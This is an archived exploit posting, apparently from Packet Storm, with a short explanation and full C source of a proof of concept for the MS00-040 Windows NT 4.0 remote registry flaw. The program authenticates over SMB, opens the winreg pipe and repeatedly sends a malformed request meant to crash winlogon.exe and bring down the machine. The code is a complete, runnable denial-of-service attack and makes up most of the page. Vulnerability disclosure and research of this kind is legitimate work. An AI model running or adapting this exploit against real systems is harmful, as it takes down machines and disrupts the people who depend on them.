exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

crash_winlogin.c

crash_winlogin.c
Posted Jun 15, 2000
Authored by Renaud Deraison

Proof of concept exploit for the "Remote Registry Access Authentication" vulnerability in Windows NT 4.0 which was described in ms00-040 which allows a user of the local network to crash winlogon.exe remotely.

tags | exploit, remote, local, registry, proof of concept
systems | windows
SHA-256 | 0d522a59742b3cab17ef2324689d032e9e785a15ab459d5668296905d6083e0f

crash_winlogin.c

Change Mirror Download
Hi,

Since the release of MS advisory 00-040, I was asked by various persons
more details about the bug described in it. This bug allows a user of a
local network to crash winlogon.exe remotely.

Here is a proof of concept code which will hopefully reproduce
the problem. Nessus users have had this available as a .nasl
script for a few days now, so I have translated the code to ugly
C for the others (yes, we, Nessus developers, are open-minded).

A quick sum up is that at some place in the winlogon.exe code,
there was some instruction like :

value = ptr[length];

where 'ptr' is a ptr to the received packet, and 'length' is
a variable which is somewhere in the packet. By malforming
the proper request, it is possible to make the code execute

value = ptr[0xFFFF];

Which *may* cause an application error in winlogon.exe. This will
pop up a Dr. Watson error dialog, and will crash NT as soon
as the dialog is validated.

There are some "random" conditions that are necessary to make this
code work. This means: 100% success is not garanteed. So don't
bug me if that does not work for you.

Please read MS advisory 00-040 for patch information.

-------{ cut here }-------------------------------------------------------
/*
* crash_winlogon.c
*
* by Renaud Deraison - deraison@cvs.nessus.org
*
* This code is released under the GNU General Public License.
* (thanks for respecting this license)
*
* In case you are wondering, here is the motto I applied for this code :
*
* "Structures are for sissies"
*/
#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <windows.h>
#define bzero(x,y) memset(x, 0, y)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <ctype.h>
#define closesocket(x) close(x)
#endif


char * netbios_name(char * orig)
{
int i, len;
char * ret = malloc(40);

bzero(ret, 40);
len = strlen(orig);
for(i=0;i<16;i++)
{
if(i >= len)
strcat(ret, "CA");
else
{
int odiv, omod;

odiv = (orig[i] / 16) + 'A';
omod = (orig[i] % 16) + 'A';
ret[strlen(ret)]=odiv;
ret[strlen(ret)]=omod;
}
}
return(ret);
}

char * netbios_redirector()
{
int i;
char * ret = malloc(31);
bzero(ret, 31);
for(i=0;i<15;i++)strcat(ret, "CA");
strcat(ret, "AA");
return(ret);
}


char* unicode(char * data)
{
int len = strlen(data);
int i;
char * ret = malloc(110);
int l = 0;

bzero(ret,110);
for(i=0;i<len;i++)
{
ret[i*2] = data[i];
}

if(len & 1){
ret[len*2+7] = 0x19;
ret[len*2+9] = 0x02;
}
else
{
ret[len*2+8] = 0x19;
ret[len*2+10] = 0x02;
}

return(ret);
}


char *
smb_session_request(soc, remote)
int soc;
char* remote;
{
char * nb_remote = netbios_name(remote);
char * nb_local = netbios_redirector();
char * request = malloc(400);
u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
u_char req_body[] = {0x00, 0x20};
u_char * answer = malloc(400);
int n;

bzero(request, 400);
memcpy(request, req_head, 5);
memcpy(request+5, nb_remote, strlen(nb_remote));
memcpy(request+5+strlen(nb_remote), req_body, 2);
memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));

send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
bzero(answer, 400);
n = recv(soc, answer, 400, 0);
if(answer[0]==0x82)return(answer);
else return(NULL);
}

char *
smb_neg_prot(soc)
int soc;
{
char * r;
u_char neg_prot[] = {0x00,0x00,
0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
0x62, 0x61, 0x00
};

send(soc, neg_prot, sizeof(neg_prot), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}

char * smb_session_setup(soc, login, password)
int soc;
char * login, * password;
{
int len = strlen(login) + strlen(password) + 57;
int bcc = 2 + strlen(login) + strlen(password);
int len_hi = len / 256, len_low = len % 256;
int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
int pass_len = strlen(password) + 1;
int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;

u_char req[] = {0x00,0x00,
len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, pass_len_lo, pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
bcc_hi};

char * r;
char * s;

s = malloc(5000);
bzero(s, 5000);

memcpy(s, req, sizeof(req));
memcpy(s+sizeof(req), password, strlen(password)+1);
memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);


send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
free(s);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}

char * smb_tconx(soc, name, uid)
int soc;
char * name;
int uid;
{
int high = uid / 256;
int low = uid % 256;
int len = 55 + strlen(name) + 1;
int ulen = 13 + strlen(name);
u_char req [] = {0x00, 0x00,
0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};

u_char req2[] = {0x5C, 0x49,
0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};


char * s = malloc(4000);

bzero(s, 4000);
memcpy(s, req, sizeof(req));
memcpy(s+sizeof(req), name, strlen(name));
memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0);
bzero(s, 4000);
recv(soc, s, 4000, 0);
if(!s[9])return(s);
else return(NULL);
}



char * smbntcreatex(soc, uid, tid)
int soc, uid, tid;
{
u_char tid_high = tid / 256, tid_low = tid % 256;
u_char uid_high = uid / 256, uid_low = uid % 256;
char* r;
u_char req[] = {0x00, 0x00,
0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
0x6e, 0x72, 0x65, 0x67, 0x00};

send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}


char * pipe_accessible_registry(soc, uid, tid, pid)
int soc, uid, tid, pid;
{
u_char tid_low = tid % 256, tid_high = tid / 256;
u_char uid_low = uid % 256, uid_high = uid / 256;
u_char pipe_low = pid % 256, pipe_high = pid / 256;
u_char req[] = {
0x00, 0x00,
0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
0x48, 0x60, 0x02, 0x00, 0x00, 0x00};
u_char * r;

send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}

char * registry_access_step1(soc, uid, tid, pid)
int soc, uid, tid, pid;
{
u_char tid_low = tid % 256, tid_high = tid / 256;
u_char uid_low = uid % 256, uid_high = uid / 256;
u_char pipe_low = pid % 256, pipe_high = pid / 256;

u_char * r;
u_char req[] = {0x00, 0x00,
0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
0x00, 0x02};


send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}


void crash_winlogon(soc, uid, tid, pid, key, reply)
int soc, uid, tid, pid;
char * key, * reply;
{
int key_len = strlen(key) + 1;
int key_len_hi = key_len / 256;
int key_len_lo = key_len % 256;

int tid_low = tid % 256;
int tid_high = tid / 256;

int uid_low = uid % 256;
int uid_high = uid / 256;

int pipe_low = pid % 256;
int pipe_high = pid / 256;

char * uc = unicode(key);
int len_uc = 100;


int len = 148 + len_uc;
int len_hi = len / 256;
int len_lo = len % 256;

int z = 40 +len_uc;
int z_lo = z % 256;
int z_hi = z / 256;

int y = 81 + len_uc;
int y_lo = y % 256;
int y_hi = y / 256;

int x = 64 + len_uc;
int x_lo = x % 256;
int x_hi = x / 256;

int n;
u_char req[] = {
0x00, 0x00,
len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17],
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
0x00, 0x00, 0x00, 0x00, 0x0F, 0x00};

int x2 = 65535; /* XXXXXX */
int x2_lo = 0xFF, x2_hi = 0xFF;

u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC,
0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00};

char * crashme = malloc(4000);
char a[] = {0xFF, 0xFF};
bzero(crashme, 4000);
memcpy(crashme, req, sizeof(req));
memcpy(crashme+sizeof(req), &(reply[84]), 20);
memcpy(crashme+sizeof(req)+20, req2, sizeof(req2));
memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc);
if((n = send(soc, crashme, len+4, 0))<0)
{
perror("send ");
}
}


int smbntcreatex_extract_pipe(reply)
char * reply;
{
return(reply[43]*256+reply[42]);
}


int tconx_extract_tid(reply)
char * reply;
{
return(reply[29]*256+reply[28]);
}




int session_extract_uid(reply)
char * reply;
{
int low, high;

low = reply[32];
high = reply[33];
return((high*256)+low);
}



#define error() _error(__LINE__)

void _error(int line)
{
printf("Error at line %d\n", line);
exit(1);
}

int main(argc, argv)
int argc;
char * argv[];
{
char * r;
int soc;
struct sockaddr_in sin;
int uid, tid, pid;
char * name;
char * ip;
char * login, * password;
int i;
#ifdef WIN32
WSADATA winSockData;
WSAStartup(0x0101, &winSockData);
#endif


if(argc < 3)
{
printf("Usage : winlogon host_ip netbios_name login [password]\n");
exit(1);
}

name = strdup(argv[2]);
for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]);
ip = strdup(argv[1]);
login = strdup(argv[3]);
if(argv[4])password = strdup(argv[4]);
else password = "";
printf("ip : %s\n", ip);
printf("name : %s\n", name);
printf("login : %s\n", login);
printf("password : %s\n", password);

for(i=0;i<200;i++)
{
soc = socket(AF_INET, SOCK_STREAM, 0);
if(soc < 0)error();
bzero(&sin, sizeof(sin));
sin.sin_port = htons(139);
sin.sin_addr.s_addr = inet_addr(ip);
sin.sin_family = AF_INET;
connect(soc, (const struct sockaddr*)&sin, sizeof(sin));

r = smb_session_request(soc, name);
if(!r)error();free(r);

r = smb_neg_prot(soc);
if(!r)error();free(r);


r = smb_session_setup(soc, login, password);
if(!r)error();
uid = session_extract_uid(r);free(r);

r = smb_tconx(soc, name, uid);
if(!r)error();
tid = tconx_extract_tid(r);free(r);

r = smbntcreatex(soc, uid, tid);
if(!r)error();
pid = smbntcreatex_extract_pipe(r);free(r);

r = pipe_accessible_registry(soc, uid, tid, pid);
if(!r)error();free(r);

r = registry_access_step1(soc, uid, tid, pid);if(!r)error();

crash_winlogon(soc, uid, tid, pid, "x", r);
shutdown(soc, 2);
closesocket(soc);
}
#ifdef WIN32
WSACleanup();
#endif
return 0;
}


----{ cut here }----------------------------------------------------------



-- Renaud

--
Renaud Deraison
The Nessus Project
http://www.nessus.org

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close